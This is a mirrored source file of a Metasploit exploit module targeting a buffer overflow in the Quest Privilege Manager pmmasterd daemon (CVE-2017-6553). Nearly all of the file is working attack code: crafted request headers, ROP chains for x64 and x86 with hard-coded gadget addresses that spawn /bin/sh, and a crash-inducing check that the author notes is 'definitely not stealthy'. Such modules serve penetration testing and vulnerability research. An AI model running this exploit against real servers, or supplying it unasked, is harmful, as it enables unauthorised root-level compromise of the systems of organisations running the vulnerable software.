CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/quest_pmmasterd_bof.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',
14
'Description' => %q{
15
This modules exploits a buffer overflow in the Quest Privilege Manager,
16
a software used to integrate Active Directory with Linux and Unix
17
systems. The vulnerability exists in the pmmasterd daemon, and can only
18
triggered when the host has been configured as a policy server (
19
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow
20
condition exists when handling requests of type ACT_ALERT_EVENT, where
21
the size of a memcpy can be controlled by the attacker. This module
22
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also
23
vulnerable, but not supported by this module (a stack cookie bypass is
24
required). NOTE: To use this module it is required to be able to bind a
25
privileged port ( <=1024 ) as the server refuses connections coming
26
from unprivileged ports, which in most situations means that root
27
privileges are required.
28
},
29
'Author' =>
30
[
31
'm0t'
32
],
33
'References' =>
34
[
35
['CVE', '2017-6553'],
36
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']
37
],
38
'Payload' =>
39
{
40
'Compat' =>
41
{
42
'PayloadType' => 'cmd_interact',
43
'ConnectionType' => 'find'
44
}
45
},
46
'Arch' => ARCH_CMD,
47
'Platform' => 'unix',
48
'Targets' =>
49
[
50
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
51
{
52
exploit: :exploit_x64,
53
check: :check_x64
54
}
55
],
56
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',
57
{
58
exploit: :exploit_x86,
59
check: :check_x86
60
}
61
]
62
],
63
'Privileged' => true,
64
'DisclosureDate' => '2017-04-09',
65
'DefaultTarget' => 0
66
)
67
)
68
69
register_options(
70
[
71
Opt::RPORT(12345),
72
Opt::CPORT(rand(1024))
73
]
74
)
75
end
76
77
# definitely not stealthy! sends a crashing request, if the socket dies, or
78
# the output is partial it assumes the target has crashed. Although the
79
# daemon spawns a new process for each connection, the segfault will appear
80
# on syslog
81
def check
82
unless respond_to?(target[:check], true)
83
fail_with(Failure::NoTarget, "Invalid target specified")
84
end
85
86
send(target[:check])
87
end
88
89
def exploit
90
unless respond_to?(target[:exploit], true)
91
fail_with(Failure::NoTarget, "Invalid target specified")
92
end
93
94
request = send(target[:exploit])
95
96
connect
97
print_status("Sending trigger")
98
sock.put(request)
99
sock.get_once
100
handler(sock)
101
disconnect
102
end
103
104
# server should crash after parsing the packet, partial output is returned
105
def check_x64
106
head = [ 0x26c ].pack("N")
107
head << [ 0x700 ].pack("N")
108
head << [ 0x700 ].pack("N")
109
head << "\x00" * 68
110
111
body = "PingE4.6 .0.0.27"
112
body << rand_text_alpha(3000)
113
114
request = head + body
115
116
connect
117
print_status("Sending trigger")
118
sock.put(request)
119
res = sock.timed_read(1024, 1)
120
if res.match? "Pong4$"
121
return Exploit::CheckCode::Appears
122
else
123
return Exploit::CheckCode::Unknown
124
end
125
end
126
127
# server should crash while parsing the packet, with no output
128
def check_x86
129
head = [ 0x26c ].pack("N")
130
head << [ 0x700 ].pack("N")
131
head << [ 0x700 ].pack("N")
132
head << "\x00" * 68
133
134
body = rand_text_alpha(3000)
135
136
request = head + body
137
138
connect
139
print_status("Sending trigger")
140
sock.put(request)
141
begin
142
sock.timed_read(1024, 1)
143
return Exploit::CheckCode::Unknown
144
rescue ::Exception
145
return Exploit::CheckCode::Appears
146
end
147
end
148
149
def exploit_x64
150
head = [ 0x26c ].pack("N")
151
head << [ 0x700 ].pack("N")
152
head << [ 0x700 ].pack("N")
153
head << "\x00" * 68
154
155
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
156
ropchain = [
157
0x408f88, # pop rdi, ret
158
0x4FA215, # /bin/sh
159
0x40a99e, # pop rsi ; ret
160
0, # argv @rsi
161
0x40c1a0, # pop rax, ret
162
0, # envp @rax
163
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
164
0xcacc013, # padding
165
0x408a98, # execve,
166
0
167
].pack("Q*")
168
169
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
170
body << rand_text_alpha(1600)
171
body << ropchain
172
body << rand_text_alpha(0x700 - body.size)
173
174
head + body
175
end
176
177
def exploit_x86
178
head = [ 0x26c ].pack("N")
179
head << [ 0x108 ].pack("N")
180
head << [ 0xcc ].pack("N")
181
head << "\x00" * 68
182
183
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)
184
ropchain = [
185
0x8093262, # ret
186
0x73, # cs reg
187
0x804AE2C, # execve,
188
0xcacc013, # padding
189
0x8136CF0, # /bin/sh
190
0,
191
0
192
].pack("V*")
193
194
pivotback = 0x08141223 # sub esp, ebx ; retf
195
writable = 0x81766f8 # writable loc
196
197
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES
198
body << rand_text_alpha(104)
199
body << ropchain
200
body << rand_text_alpha(0xb4 - body.size)
201
body << [0x50].pack("V")
202
body << rand_text_alpha(0xc4 - body.size)
203
body << [pivotback].pack("V")
204
body << [writable].pack("V")
205
body << rand_text_alpha(0x108 - body.size)
206
207
head + body
208
end
209
end
210
211